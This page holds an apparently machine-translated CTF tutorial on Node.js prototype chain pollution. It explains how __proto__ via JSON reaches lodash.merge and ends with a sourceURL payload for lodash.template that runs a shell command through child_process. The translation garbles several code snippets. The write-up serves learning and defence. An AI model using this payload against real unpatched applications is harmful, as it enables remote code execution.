Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to analyze the Utilization of Node.js prototype chain pollution

2025-01-18 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

How to analyze the use of Node.js prototype chain pollution, I believe that many inexperienced people do not know what to do. Therefore, this paper summarizes the causes and solutions of the problem. Through this article, I hope you can solve this problem.

Preface of 0x00

I'll show you when the prototype chain can be contaminated, and use ctf questions to show how to take advantage of prototype chain contamination in real scenarios.

Under which circumstances will the prototype chain be contaminated by 0x01

Modify the properties in the prototype of an object, affect the newly instantiated object, and make it bring the attributes we added to the object prototype, which is prototype chain contamination, so in what cases will the prototype chain be contaminated in practical application?

I said earlier that an object is a set of key-value pairs in JavaScript, and we tried this code:

Var obj = {"name": "ErDogQAQ", "team": "ATL"} console.log (obj.name); console.log (obj.team); console.log (obj)

We found that there is a key named _ _ proto__ in the object, and he points to the prototype of his constructor, which we also use A.__proto__.a = 2 later. This way of changing the value of this key causes prototype chain pollution, so we have an idea. As long as we find the operations that we can control the key name of the array (that is, objects), we can cause prototype chain pollution by changing the key name to _ _ proto__ and controlling its value.

In practice, the functions that can take such parameters are generally:

Object merge (merge)

Object cloning (clone) (essentially merging an object into an empty object)

Let's take merging as an example, let's start with a merge function:

Function merge (target, source) {for (let key in source) {if (key in source & & key in target) {merge (target [key], source [key])} else {target [key] = source [key]}

In the process of merging, there is an assignment operation: target [key] = source [key] so can we change key to _ _ proto__ so that the prototype chain can be contaminated? Let's experiment with the code:

Let o1 = {} let O2 = {a: 1, "_ _ proto__": {b: 2} merge (o1, O2) console.log (o1.a, o1.b) o3 = {} console.log (o3.b) console.log (O2)

As you can see, the merge was indeed successful. O1 was originally an empty object, but now it has attributes an and b, but the prototype chain is not contaminated, and the newly constructed object o3 does not have the attribute b we expected.

Let's analyze the reason, and then look at the object O2 and find that when we create O2, _ _ proto__ will represent the prototype of O2. At this time, all the key names that traverse O2 get a value of [aproto__ b], while _ _ proto__ is not assigned as a key name, so we have not modified the prototype of Object.

So how do we get _ _ protp__ to be considered a key name? The answer is to parse using JSON.

Let's modify the code:

Let o1 = {} let O2 = JSON.parse ('{"a": 1, "_ proto__": {"b": 2}}') merge (o1, O2) console.log (o1.a, o1.b) o3 = {} console.log (o3.b) console.log (O2)

You can see that the newly created o3 object has been equipped with the b attribute, indicating that the Object has been contaminated. Similarly, when we look at the O2 object, we can also see that _ _ proto__ is also considered a key name.

This is because, in the case of JSON parsing, _ _ proto__ is considered to be a real "key name" rather than a "prototype", so this key exists when traversing O2.

Merge operations are the most common operations that are likely to control key names and are most likely to be attacked by prototype chains, a problem that exists in many common libraries.

Let's start with the actual analysis of the topics in ctf.

Build debugging environment with 0x02

Usually, the source code is given directly for the problem of prototype chain contamination in ctf, and the source code is usually long, so it is not good to understand the code directly, so we need to build a local environment to facilitate local trial and dynamic debugging.

Take the Thejs of Code-Breaking 2018 as an example.

Download node.js:

This does not explain much. Just go to the official website to download and install it.

After installation, enter the node command directly under cmd to enter the command interaction mode like python.

Download the source code:

Https://github.com/phith0n/code-breaking/tree/master/2018/thejs/web

Install the dependency package:

In cmd, go to the directory where the source code is located, and then execute the npm install command directly to automatically install the required dependency packages.

After the installation, you can see that he prompted us to find four vulnerabilities, which can be fixed by running npm audit fix, or by running npm audit to get more information.

Here let's run npm audit to see the details:

You can see that it tells us that there are four prototype contamination vulnerabilities in the lodash package, which is exactly what we need to take advantage of, so we'll just focus on the code related to lodash in a moment. (note that the version here is 4.17.4, and the vulnerability has been fixed in the new version)

Debug:

Here I use VS Code for debugging. After opening VS Code, click Open folder, open the directory where the source code is located, open server.js, then click the run / debug button on the left, click to create launch.json file, and select node.js.

Then automatically generate a .vscode folder in the directory with a launch.json file, check whether program is server.js, no problem directly click on the startup program to start normally or breakpoint debugging.

0x03 tried to solve the problem.

Let's first look at the source code of the title:

Const fs = require ('fs') const express = require (' express') const bodyParser = require ('body-parser') const lodash = require (' lodash') const session = require ('express-session') const randomize = require (' randomatic') const app = express () app.use (bodyParser.urlencoded ({extended: true})) .use (bodyParser.json ()) app.use ('/ static', express.static ('static')) app.use (session ({name:' thejs.session') Secret: randomize ('aA0', 16), resave: false, saveUninitialized: false}) app.engine (' ejs', function (filePath, options, callback) {/ / define the template engine fs.readFile (filePath, (err, content) = > {if (err) return callback (new Error (err)) let compiled = lodash.template (content) let rendered = compiled ({... options}) return callback (null) Rendered)}) app.set ('views','. / views') app.set ('view engine',' ejs') app.all ('/', (req, res) = > {let data = req.session.data | | {language: [], category: []} if (req.method = = 'POST') {data = lodash.merge (data) Req.body) req.session.data = data} res.render ('index', {language: data.language, category: data.category}) app.listen (3000, () = > console.log (`Example app listening on port 3000! `))

We have just learned that there is a deserialization vulnerability in the lodash package, so let's just focus on the code related to lodash and where we upload the data.

Const lodash = require ('lodash'). App.engine (' ejs', function (filePath, options, callback) {/ / define the template engine fs.readFile (filePath, (err, content) = > {if (err) return callback (new Error (err)) let compiled = lodash.template (content) let rendered = compiled ({... options}) return callback (null) Rendered)}). App.all ('/', (req, res) = > {let data = req.session.data | | {language: [], category: []} if (req.method = = 'POST') {data = lodash.merge (data, req.body) req.session.data = data} res.render (' index', {language: data.language Category: data.category})})

We can see that the code related to lodash has two sentences:

Let compiled = lodash.template (content) data = lodash.merge (data, req.body)

After consulting the official documents, I know.

The role of lodash.template:

Simple understanding is a simple template engine, will put content content into the template rendering.

The role of lodash.merge:

There is no need to explain this, it is the object merge function that we have been thinking about day and night, and nine times out of ten, this is the place that can pollute the prototype chain.

So let's see if it can really contaminate the prototype chain:

We make a breakpoint in the code and then submit the parameters.

● if (req.method = = 'POST') {/ / break point data = lodash.merge (data, req.body) req.session.data = data} here

It should also be noted that direct submission cannot cause prototype chain contamination, because we have tried before. Only in the case of JSON parsing, _ _ proto__ will be considered as a key name and can cause prototype chain contamination. So how can we get the parameters we pass in to be parsed according to JSON?

Here we see in the code that the const app = express () topic uses the express framework, while the express framework supports parsing the request Body based on Content-Type, so we just need to change the Content-Type to application/json.

We submit a parameter: {"_ proto__": {"A": "ATL"}} to see if it will cause prototype chain contamination:

After the submission, we step the code to the merge function:

You can see that the prototype of data processed by the merge function, that is, Object, does have the An attribute, which proves that there is a prototype chain contamination vulnerability here.

So now that we have found a place that can contaminate the prototype chain, we need to think about how to use it. We also remember that the official document of the template function says that you can debug with sourceURLs, so let's follow up the template function:

/ / Use a sourceURL for easier debugging.var sourceURL=' sourceURL' in options?'/ # sourceURL=' + options.sourceURL +'\ n':'; .var result = attempt (function () {return Function (importsKeys, sourceURL + 'return' + source) .apply (undefined, importsValues);})

You can see that the first step is to determine whether there is an attribute sourceURL in options, if so, concatenate it, or leave it empty, and then concatenate this value into the second parameter of new Function.

So we have an idea now, we can use the prototype chain pollution to insert a sourceURL attribute into the Object, when executed into the template, it is determined that there is no sourceURL in the options, but because the search mechanism of JavaScript will always look up, when we find the sourceURL in the Object, it will be spliced into the new Function to cause arbitrary code execution.

With the attack idea in mind, let's construct the payload test:

{"_ proto__": {"sourceURL": "\ u000areturn e = > {for (var ain {}) {delete Object.prototype [a];} return global.process.mainModule.constructor._load ('child_process'). ExecSync (' whoami')}\ u000a//"}}

After submission, we still come back to see the debugging information:

You can see that after being processed by the merge function, the sourceURL attribute has been added to the Object. When we go to the template function, we will see if we can get the sourceURL attribute:

Step into here:

You can see that the value of sourceURL here indicates that the sourceURL attribute has been successfully obtained here, so let's take a look at the execution result:

As you can see, the command was executed successfully. At this point, we have carried out a complete utilization of prototype chain pollution.

After reading the above, have you mastered how to analyze the utilization of Node.js prototype chain contamination? If you want to learn more skills or want to know more about it, you are welcome to follow the industry information channel, thank you for reading!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report